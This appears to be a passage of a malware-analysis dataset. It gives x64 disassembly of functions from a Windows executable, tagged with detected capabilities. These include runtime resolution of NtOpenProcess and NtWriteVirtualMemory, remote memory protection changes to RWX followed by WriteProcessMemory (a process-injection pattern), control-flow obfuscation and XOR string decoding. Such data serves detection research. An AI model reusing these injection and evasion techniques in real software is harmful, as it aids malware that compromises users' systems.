joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140042810
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400b9680
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400b96a0
xor al, al
jmp 0x1400b9721
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400b96b3
xor al, al
jmp 0x1400b9721
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400b96dd
xor al, al
jmp 0x1400b9721
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400b96f1
xor al, al
jmp 0x1400b9721
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400b9703
xor al, al
jmp 0x1400b9721
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400b971f
xor al, al
jmp 0x1400b9721
mov al, 1
add rsp, 0x38
ret
Function at 0x1400433d2
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400b6330
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edx, edx
mov rdi, rcx
lea r8d, [rdx + 0x28]
add rcx, r8
call fcn.140042a1d
and qword [rdi + 0x50], 0
lea rax, [0x140000000]
and dword [rdi + 0x58], 0
lea rcx, [rdi + 0x28]
and dword [rdi + 0x5c], 0
xor r8d, r8d
mov qword [rdi + 0x10], rax
xor edx, edx
mov qword [rdi + 8], rax
lea rax, [0x1400e39f0]
mov qword [rdi + 0x20], rax
mov dword [rdi], 0x60
mov dword [rdi + 0x18], 0xe00
call fcn.140042018
test eax, eax
jne 0x1400b63c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
jns 0x1400b63c7
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400b63c0
lea rcx, str.ERROR_:_Unable_to_initialize_critical_section_in_CAtlBaseModule_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [0x1400fa420], 1
mov rbx, qword [rsp + 0x30]
mov rax, rdi
add rsp, 0x20
pop rdi
ret
Function at 0x1400f60d0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov dword [rax], 0
mov rax, qword [rsp + 0x20]
mov dword [rax + 0x38], 0
lea rcx, [0x14029b7ff]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
mov eax, 0xca000111
mov ebp, 0x1b07bf8b
lea rsi, str.NtReadVirtualMemory
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdi, str.NtWriteVirtualMemory
lea rbx, str.NtOpenProcess
mov r15d, 0xd44090ab
nop word cs:[rax + rax]
cmp eax, 0xf3ee5717
jle 0x1400f61f0
cmp eax, 0xf3ee5718
je 0x1400f620b
cmp eax, 0x1090b3d3
je 0x1400f6251
cmp eax, 0x1b07bf8b
jne 0x1400f6140
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x18]
mov rdx, rdi
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x18]
mov rdx, rbx
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x30], rax
mov eax, dword [0x1402b5ac8]
mov ecx, dword [0x1402b5acc]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x1090b3d3
cmovne r8d, r15d
test eax, edx
mov eax, r8d
cmove eax, r15d
jmp 0x1400f6245
cmp eax, 0xca000111
je 0x1400f629f
cmp eax, 0xd44090ab
jne 0x1400f6140
jmp 0x1400f62c5
mov eax, dword [0x1402b5ac8]
mov ecx, dword [0x1402b5acc]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0x1090b3d3
cmovne r8d, ebp
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, ebp
cmp ecx, 0xa
cmovge eax, r8d
jmp 0x1400f6140
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x18]
mov rdx, rdi
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x18]
mov rdx, rbx
call r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x30], rax
mov eax, 0x1b07bf8b
jmp 0x1400f6140
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x28], rax
mov eax, 0xf3ee5718
jmp 0x1400f6140
mov rax, qword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400f7e50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, r9
mov r14, r8
mov r12, rdx
mov rdi, rcx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll__msize]
mov r15, rax
test r15d, r15d
jle 0x1400f7fed
lea r13, [rbp - 0x20]
mov rcx, r13
call fcn.1400f8050
mov qword [rsp + 0x20], r13
mov rcx, rdi
mov rdx, r12
mov r8, r14
mov r9, rsi
call fcn.1400f8410
lea rcx, [rbp - 0x20]
call fcn.1400f92a0
mov esi, eax
test al, al
jne 0x1400f7f68
mov dword [rbp - 4], esi
lea rcx, [rbp - 0x20]
call fcn.1400f9340
test rax, rax
je 0x1400f7f65
movabs r14, 0xffffffff00000000
xor r14, r15
and r14, r15
xor r15d, r15d
lea r12, [rbp - 0x20]
lea r13, [rbp - 0x24]
mov rsi, qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbx, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop word cs:[rax + rax]
mov rcx, r12
mov rdx, r15
call fcn.1400f94d0
mov edx, dword [rax]
mov rcx, qword [rdi + 0x10]
mov qword [rsp + 0x20], r13
mov r8, r14
mov r9d, 0x40
call rsi
mov rcx, r12
mov rdx, r15
call fcn.1400f94d0
mov rdx, qword [rax]
mov rcx, qword [rdi + 0x10]
mov qword [rsp + 0x20], 0
mov r8, qword [rbp + 0x70]
mov r9, r14
call rbx
inc r15
mov rcx, r12
call fcn.1400f9340
cmp rax, r15
ja 0x1400f7f10
mov esi, dword [rbp - 4]
xor sil, 1
lea rcx, [rbp - 0x20]
call fcn.1400f9780
mov eax, dword [0x1402b5b24]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5b20], 0xa
setl cl
test cl, al
jne 0x1400f7fef
xor cl, al
jne 0x1400f7fef
lea rdi, [rbp - 0x20]
nop word cs:[rax + rax]
mov rcx, rdi
call fcn.1400f9780
mov rcx, rdi
call fcn.1400f9780
mov ecx, dword [0x1402b5b24]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5b20], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x1400f7fef
or cl, al
test cl, 1
jne 0x1400f7fb0
jmp 0x1400f7fef
xor esi, esi
mov eax, esi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1401fe520
Capabilities:
Create thread

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov eax, dword [0x1402b5f2c]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete r8b
cmp dword [0x1402b5f30], 0xa
setge cl
setl r9b
xor r9b, r8b
or cl, al
xor cl, 1
or cl, r9b
nop word cs:[rax + rax]
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov r12, rsp
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rdi, rsp
test cl, cl
je 0x1401fe580
sub rsp, 0x20
mov rcx, rdi
call fcn.1401fe850
add rsp, 0x20
mov eax, 0x7763090d
nop dword [rax]
cmp eax, 0xd84adf07
je 0x1401fe5f0
cmp eax, 0x7763090d
jne 0x1401fe5c0
mov qword [rbp - 0x10], r12
mov r14, qword [rbp - 0x10]
sub rsp, 0x20
mov rcx, rdi
call fcn.1401ff4a0
add rsp, 0x20
mov rbx, rax
mov eax, 0xd84adf07
jmp 0x1401fe5c0
mov qword [rbp - 0x28], r14
sub rsp, 0x20
mov rcx, rdi
call fcn.1401ffba0
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov r9d, 0xd6b1eae2
mov ecx, 0xc3654382
mov edx, 0xfdbda07a
mov r8d, 0xfdfb8b38
jmp 0x1401fe630
mov qword [rax], rbx
mov r9d, 0xfdfb8b38
nop dword [rax]
cmp r9d, 0xfdbda079
jle 0x1401fe6a0
cmp r9d, 0xfdbda07a
je 0x1401fe620
cmp r9d, 0xfdfb8b38
je 0x1401fe6c1
cmp r9d, 0x4775cf20
jne 0x1401fe630
mov r9d, dword [0x1402b6420]
lea r10d, [r9 - 1]
imul r10d, r9d
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete r10b
mov r9d, 0xfdbda07a
cmove r9d, r8d
cmp dword [0x1402b6424], 0xa
cmovge r9d, edx
setl r11b
xor r11b, r10b
cmovne r9d, r8d
jmp 0x1401fe630
cmp r9d, 0xc3654382
je 0x1401fe71c
cmp r9d, 0xd6b1eae2
jne 0x1401fe630
mov r9d, 0x4775cf20
jmp 0x1401fe630
mov qword [rbp - 0x18], rax
mov r9, qword [rbp - 0x18]
mov qword [r9], rbx
mov r9d, dword [0x1402b6420]
mov r10d, dword [0x1402b6424]
lea r11d, [r9 + 1]
imul r11d, r9d
mov r9d, r11d
xor r9d, 0xfffffffe
test r9d, r11d
sete r14b
cmp r10d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xfdbda07a
cmovne r14d, ecx
test r9d, r11d
mov r9d, r14d
cmove r9d, ecx
cmp r10d, 0xa
cmovge r9d, r14d
jmp 0x1401fe630
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
mov rcx, rdi
call fcn.1401fece0
add rsp, 0x20
lea rdi, [rsi + 8]
mov r9, qword [r12]
sub rsp, 0x30
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
lea r8, [0x1401ff100]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add rsp, 0x30
mov qword [rsi], rax
test rax, rax
je 0x1401fe78d
sub rsp, 0x20
mov rcx, r12
call fcn.1401ff4a0
mov rcx, r12
call fcn.1401fece0
nop
mov rsp, rbp
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov eax, dword [0x1402b5f2c]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5f30], 0xa
setl cl
test cl, al
jne 0x1401fe7c2
xor cl, al
jne 0x1401fe7c2
nop word cs:[rax + rax]
jmp 0x1401fe7c0
mov qword [rbp - 0x20], r12
mov dword [rdi], 0
sub rsp, 0x20
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
add rsp, 0x20
int3
Function at 0x14022d3d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x14022d3f3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x14022d3e0
mov byte [rcx + 0x47], 0
mov rax, rcx
ret

Function at 0x14022d400
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rbx, rcx
mov qword [rbp - 0x10], rcx
xor r9d, r9d
cmp byte [r8 + 6], r9b
je 0x14022d444
mov ecx, r9d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x14022d430
mov byte [r8 + 6], r9b
lea rax, [r8 + 5]
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x28], r9
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022d46b
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x38], r9b
jmp 0x14022d485
mov qword [rbp - 0x28], 5
mov eax, dword [r8]
mov dword [rbp - 0x38], eax
movzx eax, byte [r8 + 4]
mov byte [rbp - 0x34], al
mov byte [rbp - 0x33], r9b
cmp byte [rdx + 0xa], 0
je 0x14022d4a3
mov rcx, r9
nop
lea eax, [rcx + 0x4a]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 9
jb 0x14022d490
mov byte [rdx + 0xa], 0
lea rax, [rdx + 9]
mov qword [rbp - 0x58], r9
mov qword [rbp - 0x48], r9
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdx, rax
jne 0x14022d4ca
mov qword [rbp - 0x48], r9
mov byte [rbp - 0x58], 0
jmp 0x14022d4e6
mov qword [rbp - 0x48], 9
movsd xmm0, qword [rdx]
movsd qword [rbp - 0x58], xmm0
movzx eax, byte [rdx + 8]
mov byte [rbp - 0x50], al
mov byte [rbp - 0x4f], 0
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
movzx edx, byte [rbp - 0x60]
mov rcx, rbx
call fcn.1400eeca0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14022d53a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022d534
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022d534
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14022d578
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022d573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022d573
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret
Function at 0x14022d590
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 7], dil
je 0x14022d5c4
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 6
jb 0x14022d5b0
mov byte [r8 + 7], dil
lea rax, [r8 + 6]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022d5f1
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14022d610
mov qword [rsp + 0x30], 6
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x26], dil
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14022d61e
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400d7f70
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14022d695
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022d690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022d690
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14022d6b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 9], dil
je 0x14022d6e4
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x14022d6d0
mov byte [r8 + 9], dil
lea rax, [r8 + 8]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022d711
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14022d727
mov qword [rsp + 0x30], 8
mov rax, qword [r8]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x28], dil
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14022d735
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400d7f70
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14022d7ac
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022d7a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022d7a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14022d7c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 0xa], dil
je 0x14022d7f4
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 9
jb 0x14022d7e0
mov byte [r8 + 0xa], dil
lea rax, [r8 + 9]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022d821
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14022d843
mov qword [rsp + 0x30], 9
movsd xmm0, qword [r8]
movsd qword [rsp + 0x20], xmm0
movzx eax, byte [r8 + 8]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x29], dil
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14022d851
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400d7f70
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14022d8c8
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022d8c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022d8c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x14022d8e0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x14022d903
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x14022d8f0
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x14022e1f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x14022e218
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x4a]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x14022e200
mov byte [rcx + 0x136], 0
mov rax, rcx
ret
Function at 0x14022e600
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 0xc], dil
je 0x14022e634
mov ecx, edi
nop dword [rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 0xb
jb 0x14022e620
mov byte [r8 + 0xc], dil
lea rax, [r8 + 0xb]
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022e661
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14022e68d
mov qword [rsp + 0x30], select
movsd xmm0, qword [r8]
movsd qword [rsp + 0x20], xmm0
movzx eax, word [r8 + 8]
mov word [rsp + 0x28], ax
movzx eax, byte [r8 + 0xa]
mov byte [rsp + 0x2a], al
mov byte [rsp + 0x2b], dil
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14022e69b
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.1400d7f70
mov qword [rbx], rdi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14022e712
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022e70d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022e70d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14022e720
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rbx, rcx
mov qword [rbp - 0x10], rcx
xor r9d, r9d
cmp byte [r8 + 6], r9b
je 0x14022e764
mov ecx, r9d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x14022e750
mov byte [r8 + 6], r9b
lea rax, [r8 + 5]
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x28], r9
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022e78b
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x38], r9b
jmp 0x14022e7a5
mov qword [rbp - 0x28], 5
mov eax, dword [r8]
mov dword [rbp - 0x38], eax
movzx eax, byte [r8 + 4]
mov byte [rbp - 0x34], al
mov byte [rbp - 0x33], r9b
cmp byte [rdx + 0xd], 0
je 0x14022e7c3
mov rcx, r9
nop
lea eax, [rcx + 0x4a]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 0xc
jb 0x14022e7b0
mov byte [rdx + 0xd], 0
lea rax, [rdx + 0xc]
mov qword [rbp - 0x58], r9
mov qword [rbp - 0x48], r9
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdx, rax
jne 0x14022e7ea
mov qword [rbp - 0x48], r9
mov byte [rbp - 0x58], 0
jmp 0x14022e805
mov qword [rbp - 0x48], select
movsd xmm0, qword [rdx]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [rdx + 8]
mov dword [rbp - 0x50], eax
mov byte [rbp - 0x4c], 0
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
movzx edx, byte [rbp - 0x60]
mov rcx, rbx
call fcn.1400eeca0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14022e859
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022e853
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022e853
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14022e897
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022e892
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022e892
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret
Function at 0x14022e8b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rbx, rcx
mov qword [rbp - 0x10], rcx
xor r9d, r9d
cmp byte [r8 + 9], r9b
je 0x14022e8f4
mov ecx, r9d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 8
jb 0x14022e8e0
mov byte [r8 + 9], r9b
lea rax, [r8 + 8]
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x28], r9
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14022e91b
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x38], r9b
jmp 0x14022e92e
mov qword [rbp - 0x28], 8
mov rax, qword [r8]
mov qword [rbp - 0x38], rax
mov byte [rbp - 0x30], r9b
cmp byte [rdx + 9], 0
je 0x14022e953
mov rcx, r9
nop word [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 8
jb 0x14022e940
mov byte [rdx + 9], 0
lea rax, [rdx + 8]
mov qword [rbp - 0x58], r9
mov qword [rbp - 0x48], r9
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdx, rax
jne 0x14022e97a
mov qword [rbp - 0x48], r9
mov byte [rbp - 0x58], 0
jmp 0x14022e98d
